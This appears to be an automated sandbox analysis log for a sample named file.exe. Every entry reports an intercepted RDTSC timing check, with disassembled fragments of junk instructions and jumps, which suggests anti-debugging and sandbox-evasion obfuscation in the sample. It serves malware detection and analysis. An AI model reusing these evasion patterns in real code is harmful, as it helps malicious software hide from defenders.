Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C835 second address: B5C83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C99B second address: B5C9B6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDBD19A02Eh 0x00000008 jnl 00007FDDBD19A026h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007FDDBD19A026h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BF60 second address: B5BF69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5CCBB second address: B5CCC6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D297 second address: B5D2A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D2A0 second address: B5D2A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D2A6 second address: B5D2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDDBCB6A6C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007FDDBCB6A6DAh 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007FDDBCB6A6C6h 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D2C3 second address: B5D2C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B628D9 second address: B62908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDDBCB6A6D9h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6405D second address: B640DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A034h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FDDBD19A039h 0x00000012 jnc 00007FDDBD19A026h 0x00000018 popad 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007FDDBD19A035h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 popad 0x00000027 jc 00007FDDBD19A062h 0x0000002d pushad 0x0000002e jmp 00007FDDBD19A034h 0x00000033 pushad 0x00000034 popad 0x00000035 jl 00007FDDBD19A026h 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69727 second address: B6973C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FDDBCB6A6CCh 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6973C second address: B69744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69744 second address: B6977C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FDDBCB6A6DFh 0x0000000e jmp 00007FDDBCB6A6D9h 0x00000013 jmp 00007FDDBCB6A6D1h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6977C second address: B6978A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6978A second address: B6978E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69A46 second address: B69A5A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDDBD19A026h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69A5A second address: B69A78 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDDBCB6A6C6h 0x00000008 jne 00007FDDBCB6A6C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FDDBCB6A6D2h 0x00000016 jl 00007FDDBCB6A6C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F4D0 second address: B1F502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jmp 00007FDDBD19A030h 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FDDBD19A037h 0x00000016 jmp 00007FDDBD19A031h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EB0E second address: B6EB18 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBCB6A6CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EB18 second address: B6EB22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EB22 second address: B6EB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDB6 second address: B6EDE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FDDBD19A031h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FDDBD19A02Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDE0 second address: B6EE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jo 00007FDDBCB6A6C6h 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop esi 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDDBCB6A6D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EE09 second address: B6EE0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EF61 second address: B6EF67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F22E second address: B6F235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F235 second address: B6F23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F23B second address: B6F28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A030h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FDDBD19A032h 0x00000014 pushad 0x00000015 jg 00007FDDBD19A026h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d jmp 00007FDDBD19A033h 0x00000022 jmp 00007FDDBD19A02Ah 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F7D second address: B71F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F83 second address: B71F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F87 second address: B71F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F91 second address: B71F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7234C second address: B72358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FDDBCB6A6C6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B789E2 second address: B78A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A035h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jno 00007FDDBD19A026h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79153 second address: B7915C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7915C second address: B79166 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDBD19A02Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B799F0 second address: B79A04 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDBCB6A6CCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79A04 second address: B79A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79FFA second address: B7A037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDDBCB6A6C6h 0x0000000a jno 00007FDDBCB6A6C6h 0x00000010 popad 0x00000011 push edi 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop edi 0x00000015 jmp 00007FDDBCB6A6D3h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jno 00007FDDBCB6A6C8h 0x00000023 jmp 00007FDDBCB6A6CAh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A2D6 second address: B7A2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A02Dh 0x00000009 je 00007FDDBD19A026h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A2EE second address: B7A30E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDBCB6A6D8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A657 second address: B7A65F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A65F second address: B7A67B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A67B second address: B7A683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A683 second address: B7A6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDBCB6A6D2h 0x0000000e jno 00007FDDBCB6A6C8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A6A6 second address: B7A6AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A6AB second address: B7A6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A6B1 second address: B7A6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B815B0 second address: B815B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80957 second address: B8095D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8102B second address: B81036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81036 second address: B8103A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86075 second address: B8607A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8607A second address: B8608E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FDDBD19A026h 0x0000000e jl 00007FDDBD19A026h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8DCEE second address: B8DD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 jns 00007FDDBCB6A6E9h 0x0000000e pushad 0x0000000f jmp 00007FDDBCB6A6D9h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BED4 second address: B8BED9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BED9 second address: B8BEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C2DD second address: B8C2F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBD19A026h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FDDBD19A02Eh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C6D2 second address: B8C6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDDBCB6A6C6h 0x0000000a jmp 00007FDDBCB6A6CEh 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop eax 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8CAE5 second address: B8CB3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDDBD19A026h 0x0000000a popad 0x0000000b jo 00007FDDBD19A049h 0x00000011 jmp 00007FDDBD19A02Eh 0x00000016 jmp 00007FDDBD19A035h 0x0000001b jnl 00007FDDBD19A02Eh 0x00000021 pushad 0x00000022 jmp 00007FDDBD19A02Eh 0x00000027 jno 00007FDDBD19A026h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8CC84 second address: B8CC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D3CC second address: B8D3E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDBD19A02Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D3E3 second address: B8D3EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007FDDBCB6A6C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D3EF second address: B8D3F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D3F3 second address: B8D3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BA9B second address: B8BA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BA9F second address: B8BAC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CCh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDDBCB6A6CFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B943A3 second address: B943C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDDBD19A038h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B943C5 second address: B943CB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98312 second address: B9831E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FDDBD19A026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97CA7 second address: B97CAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97CAD second address: B97CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDDBD19A02Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97CBB second address: B97CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FDDBCB6A6D2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97CE7 second address: B97D01 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FDDBD19A026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDDBD19A02Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97D01 second address: B97D07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97FD2 second address: B97FD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99AAD second address: B99AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99AB3 second address: B99AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4BA9 second address: BA4BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6CEh 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnl 00007FDDBCB6A6C6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA665B second address: BA6661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6661 second address: BA6665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6665 second address: BA667B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDBD19A026h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FDDBD19A02Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA67B8 second address: BA67BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA67BC second address: BA67CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jbe 00007FDDBD19A026h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA616 second address: BAA61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA61A second address: BAA61E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA61E second address: BAA624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8C39 second address: BB8C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0F89 second address: BC0FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6CBh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 jmp 00007FDDBCB6A6D6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0FBB second address: BC0FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A032h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FDDBD19A036h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0FEA second address: BC0FF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF808 second address: BBF82B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A039h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FDDBD19A026h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFC12 second address: BBFC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
